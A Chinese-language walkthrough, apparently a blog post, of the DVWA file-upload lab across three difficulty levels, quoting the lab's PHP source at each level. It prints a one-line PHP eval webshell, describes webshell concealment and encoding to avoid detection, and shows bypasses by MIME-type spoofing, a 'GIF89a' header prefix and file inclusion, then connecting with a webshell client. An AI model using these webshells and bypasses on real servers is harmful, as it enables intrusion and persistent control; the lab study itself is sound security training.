文件上传漏洞是指因为程序员在对用户文件上传部分的控制不足或者处理缺陷,而致使的用户能够越过其自己权限向服务器上上传可执行的动态脚本文件。这里上传的文件能够是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”自己没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。若是服务器的处理逻辑作的不够安全,则会致使严重的后果。php
文件上传漏洞自己就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。攻击者在受影响系统放置或者插入WebShell后,可经过该WebShell更轻松,更隐蔽的在服务中随心所欲。程序员
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也能够将其称之为一种网页后门。攻击者在入侵了一个网站后,一般会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一块儿,而后使用浏览器来访问这些后门,获得一个命令执行环境,以达到控制网站服务器的目的(能够上传下载或者修改文件,操做数据库,执行任意命令等)。web
WebShell后门隐蔽较性高,能够轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。攻击者能够将WebShell隐藏在正常文件中并修改文件时间加强隐蔽性,也能够采用一些函数对WebShell进行编码或者拼接以规避检测。除此以外,经过一句话木马的小马来提交功能更强大的大马能够更容易经过应用自己的检测。<?php eval($_POST[a]); ?>就是一个最多见最原始的小马。shell
这个文件上传的low级别 咱们看一下源代码数据库
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } ?>
能够看出 没有 对任何的文件类型进行过滤 那咱们岂不是随便上传一句话木马?编程
来试试 上传一下访问目录 成功数组
那咱们菜刀链接浏览器
成功安全
老规矩咱们先来看一下源码服务器
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
能够看见这里的函数对咱们的upload的type进行了过滤 只容许
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
这些文件类型才能上传成功
那咱们尝试一下继续上传一句话木马 看看能不能成功
好像不得行 那咱们尝试一下一张正常的图片上传呐
上传成功 这是为何呐 代码对咱们的文件类型进行了过滤 只有当type=图片的时候才能上传成功 那咱们此时怎么进行绕过呐
咱们来抓包试试 这里是我上传木马的包
这里是我上传图片的包
看咱们的源码能够知道 这里是对咱们的type进行了过滤的 那么咱们修改一下这个看看是否能上传成功呐 咱们把图片上传成功的type粘贴过来
上传成功
这里先对一些函数名称作一些介绍
PHP strtolower() 函数 把全部字符转换为小写: <?php echo strtolower("Hello WORLD."); ?>
PHP编程语言中的常见的$_FILES系统函数用法有: $_FILES['myFile']['name'] 显示客户端文件的原名称。 $_FILES['myFile']['type'] 文件的 MIME 类型,例如"image/gif"。 $_FILES['myFile']['size'] 已上传文件的大小,单位为字节。 $_FILES['myFile']['tmp_name'] 储存的临时文件名,通常是系统默认。 $_FILES['myFile']['error'] 该文件上传相关的错误代码。如下为不一样代码表明的意思:
HP 获取图像信息 getimagesize 函数 getimagesize() 函数用于获取图像尺寸,类型等信息。 imagesx() 函数用于获取图像的宽度。 imagesy() 函数用于获取图像的高度。 getimagesize() getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。 语法: array getimagesize( string filename ) 例子: <?php $array = getimagesize("images/flower_1.jpg"); print_r($array); ?> 浏览器显示以下: Array ( [0] => 350 [1] => 318 [2] => 2 [3] => width="350" height="318" [bits] => 8 [channels] => 3 [mime] => image/jpeg )
这个级别的咱们也来看一下源码 这是个什么东西
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } ?>
能够看见 这里咱们的源码增长了和改变了这些代码
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
那么这些代码是什么意思呐?
在这条语句里,首先利用strrpos() 函数来查找“.”在变量$uploaded_name中出现的位置,而后将获得的数值加1,最后利用substr()函数从变量$uploaded_name的指定位置截取部分字符串。
总之,这条语句的做用就是从咱们所上传的文件名中截取出扩展名部分。
清晰明了
接下来就用if语句来判断这个扩展名是不是大写或小写的jpg/jpeg,若是不是的话则不容许上传,于是这里就是定义了一份白名单,这也是安全性比较高的一种防护措施。
这里你觉得你直接把马的后缀改为JPG上传会失败
这里由于getimagessize(绕过方法是00截断)函数对文件的开头内容进行了检测 经过二进制识别你是否为图像 这里咱们直接加上GIF89a就能够成功绕过
而后上传
这里由于是上传的jpg图像因此菜刀不能直接链接 咱们用咱们的文件包含漏洞来执行菜刀链接
http://127.0.0.1/dwva/vulnerabilities/fi/?page=file:///C:\phpStudy1\PHPTutorial\WWW\dwva\hackable\uploads\1234.jpg
可是这里咱们用文件包含能访问 可是不能执行
那咱们尝试一下copy的方法
http://127.0.0.1/dwva/vulnerabilities/fi/?page=file:///C:\phpStudy1\PHPTutorial\WWW\dwva\hackable\uploads\3.jpg
用文件包含漏洞去执行
而后菜刀链接
成功了
这里文件包含的时候必定要注意 反斜杠 \ 和/别打反了 我以前就一直打反了 一下午没链接上